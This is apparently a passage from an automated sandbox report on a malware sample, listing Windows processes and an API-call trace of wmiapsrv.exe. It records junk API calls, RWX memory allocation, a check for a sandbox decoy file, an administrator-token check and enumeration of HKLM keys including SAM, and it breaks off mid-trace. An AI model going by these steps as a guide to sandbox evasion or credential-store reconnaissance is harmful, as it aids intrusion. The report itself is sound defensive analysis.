"NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Spooler" [0xe], "NT AUTHORITY\\Logon Session 00000000:00011361" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 696 os_tid = 0x510 Thread: id = 697 os_tid = 0x4d8 Thread: id = 698 os_tid = 0x4a0 Thread: id = 699 os_tid = 0x49c Thread: id = 700 os_tid = 0x490 Thread: id = 701 os_tid = 0x48c Thread: id = 1036 os_tid = 0x330 Process: id = "55" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0x784c6000" os_pid = "0x4ec" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "\"taskhost.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 702 os_tid = 0x6ec Thread: id = 703 os_tid = 0x6dc Thread: id = 704 os_tid = 0x6ac Thread: id = 705 os_tid = 0x6a8 Thread: id = 706 os_tid = 0x6a0 Thread: id = 707 os_tid = 0x54c Thread: id = 708 os_tid = 0x548 Thread: id = 709 os_tid = 0x530 Thread: id = 710 os_tid = 0x508 Thread: id = 711 os_tid = 0x4f0 Thread: id = 747 os_tid = 0x5ac Thread: id = 797 os_tid = 0x6e4 Thread: id = 956 os_tid = 0x9e8 Thread: id = 1061 os_tid = 0x74c Process: id = "56" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x77243000" os_pid = "0x51c" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BFE" [0xe], "NT SERVICE\\DPS" [0xa], "NT SERVICE\\MpsSvc" [0xa], "NT SERVICE\\pla" [0xa], "NT SERVICE\\WwanSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00015dba" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7] Thread: id = 712 os_tid = 0x43c Thread: id = 713 os_tid = 0x37c Thread: id = 714 os_tid = 0x404 Thread: id = 715 os_tid = 0x7fc Thread: id = 716 os_tid = 0x7f0 Thread: id = 717 os_tid = 0x7ec Thread: id = 718 os_tid = 0x7a8 Thread: id = 719 os_tid = 0x650 Thread: id = 720 os_tid = 0x64c Thread: id = 721 os_tid = 0x638 Thread: id = 722 os_tid = 0x634 Thread: id = 723 os_tid = 0x630 Thread: id = 724 os_tid = 0x62c Thread: id = 725 os_tid = 0x620 Thread: id = 726 os_tid = 0x5e4 Thread: id = 727 os_tid = 0x5c8 Thread: id = 728 os_tid = 0x5c0 Thread: id = 729 os_tid = 0x580 Thread: id = 730 os_tid = 0x564 Thread: id = 731 os_tid = 0x554 Thread: id = 732 os_tid = 0x540 Thread: id = 733 os_tid = 0x53c Thread: id = 734 os_tid = 0x528 Thread: id = 735 os_tid = 0x520 Thread: id = 1067 os_tid = 0x97c Process: id = "57" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0x6dff7000" os_pid = "0x7bc" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "taskhost.exe SYSTEM" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 736 os_tid = 0x31c Thread: id = 737 os_tid = 0x7c0 Thread: id = 744 os_tid = 0x708 Thread: id = 766 os_tid = 0x5b0 Thread: id = 767 os_tid = 0x5dc Thread: id = 847 os_tid = 0x4d4 Thread: id = 866 os_tid = 0x5fc Process: id = "58" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x5da82000" os_pid = "0x308" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0002ea10" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 738 os_tid = 0x6d8 Thread: id = 739 os_tid = 0x5f8 [0169.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xd4dbb0 | out: lpSystemTimeAsFileTime=0xd4dbb0*(dwLowDateTime=0x7c5fabf0, dwHighDateTime=0x1d59598)) [0169.773] GetCurrentProcessId () returned 0x308 [0169.773] GetCurrentThreadId () returned 0x5f8 [0169.773] GetTickCount () returned 0x1135532 [0169.773] QueryPerformanceCounter (in: lpPerformanceCount=0xd4dbb8 | out: lpPerformanceCount=0xd4dbb8*=9109180560) returned 1 [0169.774] malloc (_Size=0x100) returned 0x168e80 [0214.128] free (_Block=0x168e80) Thread: id = 740 os_tid = 0x1ec Thread: id = 741 os_tid = 0x4a8 Thread: id = 742 os_tid = 0x4ac Thread: id = 743 os_tid = 0x608 Thread: id = 745 os_tid = 0x6e8 Thread: id = 759 os_tid = 0x5f4 Process: id = "59" image_name = "wmiapsrv.exe" filename = "c:\\windows\\system32\\wbem\\wmiapsrv.exe" page_root = "0x5da88000" os_pid = "0x5d0" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\system32\\wbem\\WmiApSrv.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\wmiApSrv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0002ecd9" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 746 os_tid = 0x5b8 [0167.758] GetTimeZoneInformation (in: lpTimeZoneInformation=0x35f6f0 | out: lpTimeZoneInformation=0x35f6f0) returned 0x2 [0167.787] GetCurrentProcess () returned 0xffffffff [0167.787] GetExitCodeProcess (in: hProcess=0xffffffff, lpExitCode=0x35f6dc | out: lpExitCode=0x35f6dc*=0x103) returned 1 [0167.787] GetForegroundWindow () returned 0x0 [0167.787] GetCaretBlinkTime () returned 0x1f4 [0167.787] GetFileType (hFile=0xf710cd) returned 0x0 [0167.787] GetConsoleProcessList (in: lpdwProcessList=0x35f79c, dwProcessCount=0x1 | out: lpdwProcessList=0x35f79c) returned 0x0 [0167.787] VarCyFromUI8 (in: ui64In=0xdf39010a, pcyOut=0x35f6a8 | out: pcyOut=0x35f6a8) returned 0x0 [0167.788] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0167.788] GetCommState (in: hFile=0x3b268c, lpDCB=0x35f510 | out: lpDCB=0x35f510) returned 0 [0167.788] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x35f50c, pmr=0x35f4f8, cht=0x353) returned 0 [0167.789] CloseClipboard () returned 0 [0167.789] CoUninitialize () [0167.789] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0167.789] ReleaseMutex (hMutex=0xa0) returned 0 [0167.789] CloseHandle (hObject=0xa0) returned 1 [0167.789] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0167.789] GetCommState (in: hFile=0x3b268c, lpDCB=0x35f510 | out: lpDCB=0x35f510) returned 0 [0167.789] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x35f50c, pmr=0x35f4f8, cht=0x353) returned 0 [0167.789] CloseClipboard () returned 0 [0167.789] CoUninitialize () [0167.789] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0167.789] ReleaseMutex (hMutex=0xa0) returned 0 [0167.789] CloseHandle (hObject=0xa0) returned 1 [0167.789] GetLocalTime (in: lpSystemTime=0x35f7ac | out: lpSystemTime=0x35f7ac*(wYear=0x7e3, wMonth=0xb, wDayOfWeek=0x5, wDay=0x8, wHour=0x5, wMinute=0x17, wSecond=0x29, wMilliseconds=0x9a)) [0167.790] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x35f22c | out: ProcedureAddress=0x35f22c*=0x77011856) returned 0x0 [0167.790] VirtualAlloc (lpAddress=0x0, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0xd0000 [0167.904] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x35f22c | out: ProcedureAddress=0x35f22c*=0x77011856) returned 0x0 [0167.904] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0xa0000 [0167.905] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x35f2c4 | out: ProcedureAddress=0x35f2c4*=0x770149d7) returned 0x0 [0167.905] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x35f2c4 | out: ProcedureAddress=0x35f2c4*=0x77011222) returned 0x0 [0167.905] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x35f2c4 | out: ProcedureAddress=0x35f2c4*=0x77011856) returned 0x0 [0167.905] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x35f2c4 | out: ProcedureAddress=0x35f2c4*=0x7701435f) returned 0x0 [0167.905] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0167.906] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0167.906] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0167.906] VirtualProtect (in: lpAddress=0xf20000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x35f378 | out: lpflOldProtect=0x35f378*=0x2) returned 1 [0167.949] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x1f0000 [0167.952] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0167.953] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0167.953] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0167.953] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0168.848] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.967] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0xe60000 [0168.977] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x104) returned 0xe607d0 [0168.977] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x80) returned 0xe608e0 [0168.977] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x80) returned 0xe60968 [0168.977] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x80) returned 0xe609f0 [0168.977] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x80) returned 0xe60a78 [0168.977] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x80) returned 0xe60b00 [0168.977] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x80) returned 0xe60b88 [0168.978] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x80) returned 0xe60c10 [0168.978] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x80) returned 0xe60c98 [0168.978] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x80) returned 0xe60d20 [0168.978] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x80) returned 0xe60da8 [0168.978] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x80) returned 0xe60e30 [0168.978] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x80) returned 0xe60eb8 [0168.978] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x80) returned 0xe60f40 [0168.978] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x80) returned 0xe60fc8 [0168.978] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x80) returned 0xe61050 [0168.978] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x80) returned 0xe610d8 [0168.978] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x8, Size=0x400) returned 0xe61160 [0168.978] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x1150000 [0168.978] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x11507d0 [0168.978] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x1150858 [0168.978] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x11508e0 [0168.978] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x184) returned 0x1150968 [0168.979] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x1150af8 [0168.979] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x1150b40 [0168.979] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x1150b88 [0168.979] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x1150bd0 [0168.979] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x1150c18 [0168.979] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x1150c60 [0168.979] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x1150ca8 [0168.979] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x1150cf0 [0168.979] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x1150d38 [0168.979] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x1150d80 [0168.979] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x1150dc8 [0168.979] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x1150e10 [0168.979] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x1150e58 [0168.979] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x1150ea0 [0168.979] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x1150ee8 [0168.979] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x1150f30 [0168.979] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x35eec0, nSize=0x1000 | out: lpFilename="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe")) returned 0x25 [0168.980] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x1150f78 [0168.980] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x2c) returned 0x115b828 [0168.987] GetVersionExW (in: lpVersionInformation=0x35f4e0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x35f4e0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0168.988] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x35f4c8 | out: Wow64Process=0x35f4c8) returned 1 [0168.988] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x35f4a4 | out: TokenHandle=0x35f4a4*=0xa0) returned 1 [0168.988] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x35f4a0 | out: TokenInformation=0x0, ReturnLength=0x35f4a0) returned 0 [0168.988] GetLastError () returned 0x7a [0168.988] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x140) returned 0x115b860 [0168.988] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x115b860, TokenInformationLength=0x104, ReturnLength=0x35f4a0 | out: TokenInformation=0x115b860, ReturnLength=0x35f4a0) returned 1 [0168.988] AllocateAndInitializeSid (in: pIdentifierAuthority=0x35f4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x35f4a8 | out: pSid=0x35f4a8*=0x3d2878*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0168.988] EqualSid (pSid1=0x3d2878*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x115b8bc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0 [0168.988] EqualSid (pSid1=0x3d2878*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x115b8c8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0168.988] EqualSid (pSid1=0x3d2878*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x115b8d4*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0168.988] EqualSid (pSid1=0x3d2878*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x115b8e4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x6)) returned 0 [0168.988] EqualSid (pSid1=0x3d2878*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x115b8f0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x1)) returned 0 [0168.988] EqualSid (pSid1=0x3d2878*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x115b8fc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb)) returned 0 [0168.988] EqualSid (pSid1=0x3d2878*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x115b908*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xf)) returned 0 [0168.988] EqualSid (pSid1=0x3d2878*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x115b914*(Revision=0x1, SubAuthorityCount=0x6, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x50, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xdf, [5]=0xb0))) returned 0 [0168.988] EqualSid (pSid1=0x3d2878*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x115b934*(Revision=0x1, SubAuthorityCount=0x3, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x5, [1]=0x0, [2]=0x0))) returned 0 [0168.988] EqualSid (pSid1=0x3d2878*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x115b948*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x0)) returned 0 [0168.988] EqualSid (pSid1=0x3d2878*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x115b954*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0168.988] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115b860) returned 1 [0168.988] NtClose (Handle=0xa0) returned 0x0 [0168.988] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115b860 [0168.990] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115b8a8 [0168.991] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x280) returned 0x115b930 [0169.056] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0169.056] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x115b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0169.056] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.056] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115bc58 [0169.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x115bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0169.057] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115bca0 [0169.057] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bc58) returned 1 [0169.057] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bca0) returned 1 [0169.057] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.057] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x115b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0169.057] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.057] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115bca0 [0169.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x115bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0169.057] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115bc58 [0169.057] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bca0) returned 1 [0169.057] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bc58) returned 1 [0169.057] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bbb8) returned 1 [0169.057] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x115b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0169.057] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x80) returned 0x115bbb8 [0169.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0169.057] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115bc58 [0169.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x115bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0169.057] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0x115bca0 [0169.057] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0x115bc58) returned 1 [0169.057] 